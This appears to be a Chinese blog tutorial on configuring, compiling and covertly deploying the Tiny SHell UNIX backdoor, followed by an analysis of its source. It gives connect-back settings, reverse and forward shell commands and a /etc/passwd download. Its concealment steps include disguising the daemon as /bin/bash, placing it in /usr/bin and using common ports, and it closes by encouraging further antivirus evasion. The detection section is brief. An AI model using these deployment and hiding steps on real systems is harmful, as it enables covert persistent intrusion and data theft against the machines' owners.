0x00 TSH简介

Tiny SHell即TSH是Orange于8年前开发的一款开源的UNIX后门工具,由C编写,体积Tiny。

支持功能:

  • 正向/反向连接模式;
  • 文件传输;
  • 加密通信;

地址:https://github.com/orangetw/tsh

0x01 工具使用

下载:

1
git clone https://github.com/orangetw/tsh.git

修改tsh.h文件,主要修改密钥和控制端地址(如果使用反向连接):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#ifndef _TSH_H
#define _TSH_H

char *secret = "replace with your password";

#define SERVER_PORT 7586
#define FAKE_PROC_NAME "/bin/bash"

#define CONNECT_BACK_HOST "localhost"
#define CONNECT_BACK_DELAY 30

#define GET_FILE 1
#define PUT_FILE 2
#define RUNSHELL 3

#endif /* tsh.h */

参数说明:

  • secret:用于加密控制端和被控端之间通信的数据,这里所有通信都经过AES加密处理,密钥的长度任意(最好大于12,更安全);
  • SERVER_PORT:服务端监听端口号;
  • FAKE_PROC_NAME:用于伪装显示后门运行后的进程名字(用ps -ef或者netstat查看显示的进程名字);
  • CONNECT_BACK_HOST:控制端地址;
  • CONNECT_BACK_DELAY:连接延时,默认延时单位为秒;

编译,参数从linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf中选择,我本地环境为linux:

1
make linux

编译完成后,在当前目录中会生成tsh和tshd两个文件。

反向连接

前提准备是在编译前将tsh.h文件中的CONNECT_BACK_HOST设置为反向连接的控制端地址后再进行编译操作:

1
2
#define CONNECT_BACK_HOST  "控制端地址"
#define CONNECT_BACK_DELAY 30

在控制端运行tsh程序开启监听:

1
2
chmod u+x tsh
./tsh cb

在被控制端运行tshd即可定时反弹shell:

1
2
chmod u+x tshd
./tshd

正向连接

在编译前注释掉tsh.h文件中关于反向连接的两个设置:

1
2
//#define CONNECT_BACK_HOST  "控制端地址"
//#define CONNECT_BACK_DELAY 30

先在被控制端运行tshd:

1
2
chmod u+x tshd
./tshd

然后在控制端运行tsh程序发起正向连接:

1
2
chmod u+x tsh
./tsh 被控制端IP

文件传输

正向连接下载文件:

1
./tsh 被控制端IP get /etc/passwd ./

上传文件改为put即可:

1
./tsh 被控制端IP put aaa.sh /tmp

简单隐蔽

前面的默认操作隐蔽性弱、容易被用户发现,比如不修改程序名直接运行的话通过lsof命令还是能看到原程序名的:

修改下名称:

1
mv tshd bash

看到还是有个缺点,就是通过pwdx命令查看程序所在路径会有所暴露,因此可以进一步移动到可执行程序常在的目录中伪装,一般系统的bash位于/bin/bash/usr/bin/bash,笔者的环境/usr/bin下没有bash就放到这里了,其他如/usr/sbin目录也可以:

但是遇到个问题,放到目录下无法正常正向连接。参考这篇文章说的,在tsh.c中看到是执行bash --login命令的,但是该bash程序并没有指定执行的路径,依靠目标环境变量PATH的值设置的路径来逐个寻找:

而测试的目标主机PATH环境变量为PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin,即/usr/bin在正常bash目录/bin的前面,导致没有执行到正常的bash。因此修改下其中的bash为绝对路径的bash即可:

重新编译上传运行,就OK了:

看到ps -ef命令的结果,其中-bash是正常的bash进程,而12611和12613都是后门守护进程、其伪装成/bin/bash,12614为后门守护进程执行系统命令exec /bin/bash --login反弹的shell进程。

除此之外,连接的端口号也需要改为常用的端口以便于隐藏。

0x02 后门清理

以反连为例,查看异常bash连接端口、进程ID等,如果攻击者没有修改程序名且没有魔改直接编译使用的话,可以通过对比看/proc/pid/comm的真实进程名来查杀即可:

正连类似的,用lsof命令也能直接分析出来。

至于修改程序名或魔改后的后门程序,可自行根据实际情况分析,这里没有细究。

0x03 原理浅析

tsh代码简洁,这里仅看看它服务端即tshd的关键部分。

执行后门tshd后,先是重写cmdline为用户设置的伪装进程名(默认为/bin/bash),然后主进程会fork一个子进程1,父进程退出,该子进程1则成为孤儿进程被init托管:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* overwrite cmdline */
memset((void *)argv[0], '\0', strlen(argv[0]));
strcpy(argv[0], FAKE_PROC_NAME);

/* fork into background */

pid = fork();

if( pid < 0 )
{
return( 1 );
}

if( pid != 0 )
{
return( 0 );
}

在后面的循环处理中,当子进程1成功连接上控制端监听的端口之后,会又fork一个子进程2用于处理建立好的连接,而该子进程2的父进程即子进程1会等待子进程2执行完再继续往下执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/* fork a child to handle the connection */

pid = fork();

if( pid < 0 )
{
close( client );
continue;
}

if( pid != 0 )
{
waitpid( pid, NULL, 0 );
close( client );
continue;
}

子进程2接着会fork一个子进程3,然后子进程2退出,从而使得子进程3脱离了其祖父进程即子进程1成为孤儿进程、被init托管、成为守护进程,子进程3中开始真正进行交互shell/文件传输操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/* the child forks and then exits so that the grand-child's
* father becomes init (this to avoid becoming a zombie) */

pid = fork();

if( pid < 0 )
{
return( 8 );
}

if( pid != 0 )
{
return( 9 );
}

/* setup the packet encryption layer */
...

/* get the action requested by the client */
...

/* howdy */

switch( message[0] )
{
case GET_FILE:

ret = tshd_get_file( client );
break;

case PUT_FILE:

ret = tshd_put_file( client );
break;

case RUNSHELL:

ret = tshd_runshell( client );
break;

default:

ret = 12;
break;
}

shutdown( client, 2 );
return( ret );

而在后面调用tshd_runshell()函数中,其中会再次fork子进程4来专门进行新建会话来反弹shell,而子进程4的父进程即子进程3则进行信息的接受和发送:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
    /* fork to spawn a shell */

pid = fork();
if( pid < 0 )
{
return( 43 );
}

if( pid == 0 )
{
/* close the client socket and the pty (master side) */
close( client );
close( pty );

/* create a new session */
if( setsid() < 0 )
{
return( 44 );
}

/* set controlling tty, to have job control */

#if defined LINUX || defined FREEBSD || defined OPENBSD || defined OSF
if( ioctl( tty, TIOCSCTTY, NULL ) < 0 )
{
return( 45 );
}
#else
#if defined CYGWIN || defined SUNOS || defined IRIX || defined HPUX
{
int fd;
fd = open( slave, O_RDWR );
if( fd < 0 )
{
return( 46 );
}
close( tty );
tty = fd;
}
#endif
#endif

/* tty becomes stdin, stdout, stderr */
dup2( tty, 0 );
dup2( tty, 1 );
dup2( tty, 2 );

if( tty > 2 )
{
close( tty );
}

/* fire up the shell */
shell = (char *) malloc( 8 );
if( shell == NULL )
{
return( 47 );
}
shell[0] = '/'; shell[4] = '/';
shell[1] = 'b'; shell[5] = 's';
shell[2] = 'i'; shell[6] = 'h';
shell[3] = 'n'; shell[7] = '\0';
execl( shell, shell + 5, "-c", temp, (char *) 0 );

/* d0h, this shouldn't happen */

return( 48 );
}
else
{
/* tty (slave side) not needed anymore */
close( tty );

/* let's forward the data back and forth */
while( 1 )
{
FD_ZERO( &rd );
FD_SET( client, &rd );
FD_SET( pty, &rd );
n = ( pty > client ) ? pty : client;
if( select( n + 1, &rd, NULL, NULL, NULL ) < 0 )
{
return( 49 );
}

if( FD_ISSET( client, &rd ) )
{
ret = pel_recv_msg( client, message, &len );
if( ret != PEL_SUCCESS )
{
return( 50 );
}
if( write( pty, message, len ) != len )
{
return( 51 );
}
}

if( FD_ISSET( pty, &rd ) )
{
len = read( pty, message, BUFSIZE );
if( len == 0 ) break;
if( len < 0 )
{
return( 52 );
}
ret = pel_send_msg( client, message, len );
if( ret != PEL_SUCCESS )
{
return( 53 );
}
}
}

return( 54 );
}

小结下来,大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
father -> X
-> child1
|
----
|
init -> child1 -> # waitpid(child2)
-> child2 -> X
-> child3
|
---------------------
|
init -> child3 -> # send & receive message
-> child4 # reverse shell

当然,可以自行魔改实现更高的隐蔽性和更强的免杀。

0x04 参考

短小精干的Unix类后门Tiny shell的使用与分析